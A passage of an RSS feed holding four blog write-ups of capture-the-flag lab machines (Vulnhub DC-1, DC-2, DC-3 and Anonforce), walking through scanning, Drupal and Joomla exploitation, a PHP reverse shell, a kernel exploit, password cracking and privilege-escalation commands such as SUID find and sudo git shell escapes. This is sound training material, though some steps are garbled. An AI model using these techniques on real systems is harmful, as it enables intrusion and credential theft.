            <content:encoded><![CDATA[<h3><strong>DC 1 Hacking — Vulnhub Pentesting</strong></h3><p>We are working with Vulnhub vulnerable machines, which are DC-1, DC-2, DC-3, DC-4.</p><p>Now we are starting with DC-1</p><p>**NOTE**: Vulnhub Machines don’t give you the IP Address of their vulnerable machines, they want you to get it yourself (Find it).</p><p>Use “netdiscover -i eth0” to determine the ip address. It’s going to give you 2 IPs, your kali and another IP (which might be the vuln machine). But you have to verify the IPs to get the one you’re looking for</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*7pYa2GxxAi37_lPHJdR81A.png" /></figure><p>Then we use Nmap to find the one that’s is our target IP. Which is ‘192.168.196.133’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*LabWDAvNnnuiF-iqPxv77Q.png" /></figure><p>we found 4 ports open 22,80,111,60934</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*CtDUhVu8t-9GY46E0EcWjA.png" /></figure><p>Then we go to the port 80 which is a HTTP webpage, we found a site called Drupalsite with login credentials. We have tried the default credentials but it didn’t work, then we look for vulnerability in the site using ‘Nikto’</p><p>“Nikto” is a vulnerability scanning tool, it scans the site for any loopholes or vulnerabilities that can be exploited to gain access to the site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*gi2yYRa7eMIhGxaqd-dytg.png" /></figure><p>The site is Drupal 7, so we searched for Drupal7 vulnerability online and found that we can use Metasploitable to gain some access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*XaNkA_vaaN0bVyhyo_urZA.png" /></figure><p>set RHOSTS to the target IP, do all the necessary configuration and then “Exploit”</p><p>After gaining access with metasploit, we saw a file named ‘flag1.txt’ we cat it and found the word “Every good CMS needs a config file”. So we need to file the config file somehow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*ofOJnPed4gT-GLyOXRy06w.png" /></figure><p>The picture above, we used a code to enter a proper shell in the linux target machine to have a stable shell. <br>CODE: python -c ‘import pty; pty.spawn(“/bin/bash”)’ Then let’s keep exploiting.</p><p>after getting the stable shell, click ls. we saw a list of directories and found one called ‘settings.php’, went in and cat the directory to find some info, then we found something called flag2 with some credentials for SQL db username and password e.t.c.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*Ebbms_AMlgdBhLyAjX6r3g.png" /></figure><p>Now we try to login into the ‘mysql db’ using ‘mysql -u dbuser -p’ and then it asked us for password then we input the password “R0cke3t” ✅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*Sm7iW4xlkPGvXou3mxx5Pg.png" /></figure><p>**Command:** (show databases;) then it displays the database after that we press ( show tables) to display the tables we have in the db. we found lots of tables including **USERS**.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*PdyPDlibJiLrwCvSmkti1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*a-I9Zz7vLgPG-V_NL4DZlw.png" /></figure><p>selected users then we found the admin and user (fred) credentials, hashed password.<br>we exit from here and went back 4 time to the original shell ../../../../<br>Then we clicked ls, found home dir, went to home ls, found flag4.txt. But it was asking us to find the flag, i think we have found the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*wjJ6VhLgaEfBA-SslwiHIA.png" /></figure><p>so we used a command to find an Suid file and this is the command to find the SUID FILE. Kinda a short way to perform ‘Priv escalation’<br>**COMMAND**: find / -perm -u=s 2&gt;/dev/null</p><p>NOTE: “Find” is a word/command use to find writeable files or SUID, executable file. Then we found one with (/usr/bin/find). We escalated further with the ‘find’<br>-U = suid file</p><p>Then we used this command to pivot/escalated further. (find /dev -name null -exec /bin/sh \;). we added the ‘bin/sh’ so we can get the root uid. The picture is below 👇</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*uWW0iySLpvU0NIOQ6QzfXQ.png" /></figure><p>SINCE we have found and access the root suid, root user. Then ls and cd to root, we found the root flag and we are done with DC-1 vulnhub Machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*rBIcPANjLjecuqpcqyE4cg.png" /></figure><p>**NOTE**</p><p>Remember we found the DRUPALdb, drupal database and show the tables the we found the Admin and user (Fred) username and hashed password. Now, know that those credentials wasn’t the flag we are looking for, but those credentials are for the Drupal site on PORT 80 HTTP webpage. <br> We can either use any of the credentials to access Fred’s account or Admin’s account. I think the main user flag was the “Flag4.txt”. Then the root flag is “Finalflag.txt”.<br>We went from flag1, flag2, flag3, flag4, to the final flag (root).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=344c3887fb5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DC 3 Hacking — Vulnhub Machine]]></title>
            <link>https://medium.com/@emmaumelo180/dc-3-hacking-vulnhub-machine-e4ade9cdddf7?source=rss-628cd673739e------2</link>
            <guid isPermaLink="false">https://medium.com/p/e4ade9cdddf7</guid>
            <dc:creator><![CDATA[Genius]]></dc:creator>
            <pubDate>Thu, 31 Jul 2025 22:25:17 GMT</pubDate>
            <atom:updated>2025-07-31T22:25:17.035Z</atom:updated>
            <content:encoded><![CDATA[<h3>DC 3 Hacking — Vulnhub Machine</h3><p>Hello dear, Welcome to DC 3 Machine Hacking. Let’s get started.</p><p>This Machine is all about exploiting the webserver and gaining admin access then pivoting to gain the ‘root’ access which is the top.</p><p>First we scan our network, to determine the IP Address of our target machine, because this is a black box testing and we have no idea of the target machine</p><blockquote>sudo netdiscover -i eth0</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*upTnI_8f48NTf-gUk3Vcjw.png" /></figure><p>So we got the IP which is 192.168.40.134, now let’s scan for open port and services using nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*tQacTraCZEpxr3I5rcxdxw.png" /></figure><p>we found only one port open, port 80 running http Apache server, let dig deeper an enumerate further using “Nmap Script”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*YI5BJznxL6VmpvFMP45R3g.png" /></figure><p>nmap script is for checking for vulnerability and giving us more info. Now we can see that it’s running on ‘joomla’ an open source content management. now let’s scan for more vulnerabilities using “Nikto”….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*VHujgsDTh91GDnMTZbAOcw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*xsIc1r6HgyFX7Qhhn3vrZg.png" /></figure><p>Still on vulnerability scanning, we used nikto to fish out some vulnerabilities. Finally i found something interesting. we can see an Administrator panel and other file path available too. we can also see it’s running on version 3.7.<br>So navigating to the /Administrator path, we go the login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BMtcFcpFjMiBnpl85euQ4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*hS0E_2gPzQJv86LKVjuEkg.png" /></figure><p>hmmm, SQLi didn’t work on it, so let’s make some research on joomla exploit vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JAf2e_jr11erJBG9NMlAaA.png" /></figure><p>through our search on google we found and SQLi vulnerability on Exploit db, so let’s see how to exploit this machine further. we gonna copy the exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*Kw3urvLa3TpPRKdCCBpV5Q.png" /></figure><p>We got a list of databases, sorry i couldn’t add that image part but when you follow through using the command exploit and steps, you’ll get it. Now let’s move to enumerating further for available database tables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*02EYAXn0LqdIZqEwQBoFVw.png" /></figure><p>Using the command for table enumeration, sqlmap listed out all the table available in the server. As seen below, these are the available tables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/333/1*iHit8Ho0fGnPMbQMDdDdWw.png" /></figure><p>We found a table for “Users”, sorry you couldn’t see it. That’s because we have up to 76 tables available. We then went further to dump the “User” tables to extract the usernames, passwords, emails etc….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*I-oGjFij61nD298nHQFJaA.png" /></figure><p>Through this exploit, sqlmap was able to dump all info in the user table. That way we were able to get the “Admin” username and hashed password to login into the webpage.<br>Then first of all we have to crack the admin hashed password to get it. After that we login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*Uh7Vyd9gjOxrlnI1vDx-mw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*eNnrpxSVJKSGO9k1dIym8Q.png" /></figure><p>After logging in as the admin, we can see that this is a ‘Wordpress’ site (CMS). So we began looking for some entry point where we can escalate more privileges. Found the “Templates” page and open the ‘index.php’ file to embed our (evil) php reverse shell, so we can gain remote access into the machine.</p><p>So we created listener to connect to our set port and give us a remote connection back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*9u-Lsr6MDNYpIyxdty9QFA.png" /></figure><p>Hmmm, we got our reverse shell (remote access), we are still a common user with no higher privilege access. But we can’t stop there, let’s create a stable python shell first for a smooth connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*Li8PIxotusQ2NyepoVG1Yw.png" /></figure><p>Then we checked the name of the machine and version using the “uname -a” command. it’s running an Linux Ubuntu 16.04 and kernel version of 4.4.0. So the target machine is very vulnerable because it’s still running on an outdated system version.</p><p>So let’s search for the machine and kernel exploit online to urther exploit the kernel to get root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*PtlkD5wtb2z59NsSoYSVTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*mjwjr9ouptE2R8foR4dK4A.png" /></figure><p>So we scroll down of the exploitdb age and copy the kernel exploit payload and download it into the target machine, remember we have remote access.</p><p>So let’s download it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*fkyn0nMGaCCWJiN3dDBQVw.png" /></figure><p>cd into the /tmp folder and download it inside. Now let’s continue to exploit down to the kernel (root).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*2gqg5jNiCyPFizKrGElBzg.png" /></figure><p>The payload is in a zip file so we unzip it for we to be able to execute the payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*AmhICJNo5gQWI3CGFh5Ocw.png" /></figure><p>The file is unzip so let’s open it and continue, we will keep on navigating and changing directories because the exploit payload is inside one of them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*jhZgSa_xZuJDkf9Tmis5HQ.png" /></figure><p>As we can see in the image above, we kept navigating and using cd till the final step.<br>we compiled via (compile.sh file) the payload so it can enable us to run it. Now we executed the payload (doubleput) and it begins to exploit the kernel and writing on it.<br>Wait for 60 seconds for it to crack (hack) it, ten we get root..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*vcoibSKEn1C6jTTxzfOpNw.png" /></figure><p>Eurika!!!!! 💥💥, we have successfully exploited the the linux kernel system…</p><p>Thank you all for following through with me, pls like nd give your comment/criticism. Let’s connect and grow together.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e4ade9cdddf7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DC 2 VulnHub Machine]]></title>
            <link>https://medium.com/@emmaumelo180/dc-2-vulnhub-machine-1db3aa0f396d?source=rss-628cd673739e------2</link>
            <guid isPermaLink="false">https://medium.com/p/1db3aa0f396d</guid>
            <dc:creator><![CDATA[Genius]]></dc:creator>
            <pubDate>Sat, 26 Jul 2025 20:05:14 GMT</pubDate>
            <atom:updated>2025-07-26T20:05:14.004Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a machine is a boot2root machine that’s has so many flag to capture.</p><p>First of all we started with a netdiscover scan to find our IP address of our target..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*m8_rIdnaHaiIX_490295lA.png" /></figure><p>Now we got the IP address, which is “192.168.40.132”. Therefore, we proceed to nmap scan to get more info.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*PkX9iMsUF0k98cEbEVtRhA.png" /></figure><blockquote>nmap -sV -p- 192.168.40.132</blockquote><p>Using nmap we discover 2 open ports 80 and 7744, let’s look into port 80 to see what we have.<br>Using the browser by inputting the IP address and port number</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rwHC5vco0XdgUCbTG3dN2w.png" /></figure><p>we found something interesting, the “Flag” page, so i open the page and found something else. Besides, this is the first flag “flag1”, after reading through the words there i got a hint about the next step to take.</p><p>“cewl” this is a tool for generating a wordlists of either username or password. So i noticed i have to create a wordlist of either the usernames or password, not clear yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dV_woSYvtM5O8fB3L0d9gg.png" /></figure><p>Then i proceeded to doing some wordpress scan using ‘wpscan’ in search for vulnerabilities or any interesting information. <br>I began with username enumeration first</p><blockquote>Command: wpscan — url <a href="http://dc-2/">http://dc-2</a> -e u</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*vuMZgFuYqa3FxlXK0CulXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*McIdNQJGfsMm_d2jF3oRlw.png" /></figure><p>eah i found 3 using via the user enum (admin, jerry, tom), knowing that there are 3 users operating on the system, it made my thought clearer now i have to create a wordlist specifically for passwords so that i can brute force the webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*ueOvvnNHs3OBKLSuY_fQaQ.png" /></figure><p>cewl is a tool for generating wordlist, i used it to generate my wordlist for passwords and out put the wordlist into a pass.txt file (containing the password).</p><blockquote>Command: cewl <a href="http://dc-2/">http://dc-2</a> &gt; /home/kali/Desktop/pass.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*QBSKRez1leryy8-YS-kC_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*OtvPXHppKj9y7-C1YaVEWw.png" /></figure><p>After generating my wordlist, i proceeded to bruteforce the page for matching/correct passwords of the available users. And i found the passwords for only jerry and tom. Let me login in the page via <em>“wp-login.php”</em></p><p>i first used tom’s credential to login</p><p>but nothing interesting was in tom’s page/dashboard, no sensitive info, no interesting files or data. then i logged out and try jerry’s login creds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oejYLEeamdLkzGOkiXB0Xg.png" /></figure><p>Logging in as jerry, i found flag 2, looking into it was another bunch of words. Gotten flag 2 but no actual flag or interesting files. and i sighed, what’s the next step.</p><p>I remember the target is also running SSH, yeah i quickly jumped into it. Since we’ve got but users credentials it’s not gonna be a problem.</p><p>Logged in via SSH using jerry’s password but i was denied, seems jerry doesn’t have access to the ssh then i tried tom’s ssh account and i got access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*HgQOmUr_6kSK7x6U8PwOtw.png" /></figure><p>listed all files nd directory and i discovered the flag3.txt file and a usr directory, i quickly cat the flag to get it but the ‘cat’ command isn’t working on the system then i had to use the ‘less’ command to see what i got.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*4ANps0KIj7FlxcePL_gV5g.png" /></figure><p>We have lots of restriction when executing basic commands so i tried to bypass them.<br>from the ‘usr’ directory we saw ‘bin’ inside enumerating further and we saw other things inside…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*HdGvBV0PJQ9-4MbBfhXIyA.png" /></figure><p>let’s go into the ‘vi’ by typing “vi” then a shell will open<br>type ( :set shell=/bin/bash ) then hit enter and type (shell) again then hit enter. This is to enable us write some bash commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*GU5LownjY4HfEy7yRy9ykA.png" /></figure><p>now we can run ‘cd’ commands so let’s change the path that i’m using, hit enter. check ‘uname -r’ if it’ll work, it worked but we are still restricted to check the (id). Then let me bypass it more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*L1EX0NBuDyeC1atzyDT23A.png" /></figure><p>even after export the path we want to use, we still couldn’t get the id. So let’s keep bypassing and changing paths till we finally get it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*cn-fq2TBsHdeB_Pst5Z2xw.png" /></figure><p>Finally i got the right path, i was probably going in circles and writing the wrong path since. I think this is the right path</p><blockquote>( export PATH=$PATH:/usr/bin:/usr/bin )</blockquote><p>Now i am able to get the ‘id’ so let’s proceed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*MQmR1uorOJ9k5DIiLMjI6Q.png" /></figure><p>Now we cat /etc/passwd and we can see the passwords. Let’s see if i have sudo privileges.<br> (Sudo -l).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*mjzjror8vHAzwrJyWiMaFw.png" /></figure><p>User tom can not run sudo on the system therefore we don’t have sudo privileges with tom. Then let find for some binary files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*oNhu71O2akgst2etSTCFIw.png" /></figure><p>Using the find command to look for executable binaries that we can use to execute privilege escalation. but we couldn’t find anything, so let’s keep searching</p><p>Found out that we can switch users, so i switched to jerry</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*QUSWTniT7Jk9HcgCowY3ng.png" /></figure><p>User jerry can execute sudo -l command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*_4twOLsaf4rFxqucubLSKA.png" /></figure><p>hmmm, i think there’s a hint here (usr/bin/git). I think we can exploit and get root using the git, so let’s move over to GTFOBins to get some payload commands for git.</p><p>Using this git command ( sudo git branch — help config<br>!/bin/sh ), i was able to get a shell and with root access and id.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*8k3wzABdCiT_XXbPoY1gbw.png" /></figure><p>Finally we go the final-flag. We navigated to the root directory and cat the final flag….<br>Eurika…..</p><p>I hope you are able to understand the process we took from the beginning all the way the root flag…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1db3aa0f396d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anonforce]]></title>
            <link>https://medium.com/@emmaumelo180/this-is-a-boot2root-machine-for-fit-and-bsides-guatemala-ctf-a28c9e97897d?source=rss-628cd673739e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a28c9e97897d</guid>
            <dc:creator><![CDATA[Genius]]></dc:creator>
            <pubDate>Tue, 22 Jul 2025 18:26:35 GMT</pubDate>
            <atom:updated>2025-07-22T20:00:35.093Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Anonforce</blockquote><p>This is a boot2root machine for FIT and bsides guatemala CTF</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*4UQSMjznhk0V62023-xFQA.png" /></figure><p>So yeah, i started as every hacker would, Nmap scan of course. want to see which ports and services are up and running.</p><blockquote>nmap -sV 10.10.251.254</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*woyxTc7ilAuvm-SFhnukVQ.png" /></figure><p>yeah, and i found 2 open ports and services running, we have FTP and SSH. Ftp is running under “vsftpd’ then we proceed further to connect to the ftp server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*M4viNPR2l5aodXfyJfyUTg.png" /></figure><blockquote>ftp 10.10.251.254</blockquote><p>username as: anonymous</p><p>password: type anything as the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*8aAG98DSrsREqpplB6-iSA.png" /></figure><p>i enumerated further using ‘ls’ (actually just listing the files and directories available 😏).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*HTOyN_8s66H5SMjcgvBtqA.png" /></figure><p>after going through them, I quickly navigated straight to the /home directory, ‘ls’ home and i found another file named “melodias”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ORL8y-CeTbOlduFh7xUc2A.png" /></figure><p>‘cd’ (change direcrory) to melodias and found the “user.txt file” then download it into our machine using the ‘get’ command to find the user flag</p><blockquote>get user.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*r40CDYVeKuiXrgKCW3GpOw.png" /></figure><p>user flag: 606083fd33beb1284fc51f411a706af8</p><p>Now let’s proceed to get the root flag.</p><p>from our ftp enumeration, we found a particular file with 1000, which is the “notread” directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*8aAG98DSrsREqpplB6-iSA.png" /></figure><p>‘cd’ into notread, and i found 2 files again, an encrypted pgp file and a private key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*1rGjp-gNd45jFOnM4Y6pdA.png" /></figure><p>I used the ‘get’ command again to download the files into our machine, both of ’em.</p><blockquote>get backup.pgp and get private.asc</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BPPwi9qpP70IOUcI3hxU0w.png" /></figure><p>after downloading both file into my machine.</p><p>Let’s convert the pgp private key into a hash that john can recognize using “gpg2john” then i output it into a pgp.hash file</p><p><em>gpg2john private.asc &gt; pgp.hash</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*o0QL9qKavyzjoLdP6KpOLQ.png" /></figure><p>Now let’s crack the hash file using john</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*9RGnQXrI0dLczRvRqkcq6w.png" /></figure><p>hmmm, the cracked hash is ‘xbox360’ nice let’s proceed to decrypting our encrypted file.</p><p>first of all let’s output the decrypted file into another file using gpg again</p><blockquote>gpg — output decrypted_file — encrypt backup.pgp</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*v7zrvdmI_3CAdB5zYE-ZhA.png" /></figure><p>it’s asking for a passphrase, remember the private key we cracked. so input the passphrase there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*o_wL5c60vfAasEbviYM0Hg.png" /></figure><p>file decrypted successfully and it’s an ASCII file that means we can cat it using the ‘cat’ command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*sXw8fLgP3XgaAnmYnQZ0pw.png" /></figure><p>Boom 💥 it’s a password file, so let’s copy the root hash and save it to a txt file then let’s crack it with john.</p><p>first of all i noticed it encrypted with “sha512” hash algorithm so we have to specify the format of the hash algorithm for john to crack easily.</p><blockquote>john — format=sha512crypt — wordlist=/usr/share/wordlists/rockyou.txt hash.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*VxdrMjDkfFBa5CsktuFX8Q.png" /></figure><p>yeah, our hash is cracked.</p><p>So let’s ssh to root using the root password</p><blockquote>ssh root@10.10.21.156</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*3giXZgWGZAAxD8mZnSjmQg.png" /></figure><p>list the files again ‘ls’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*mxezaru91l6ntueYtWKRiQ.png" /></figure><p>Eurika!!! 💥gotten the root flag: f706456440c7af4187810c31c6cebdce</p><p>Thank you, i hope you fully understand the steps and process we follow to exploit the machine properly.</p><p>Give me a follow and let’s grow together one step at a time… 😊😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a28c9e97897d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>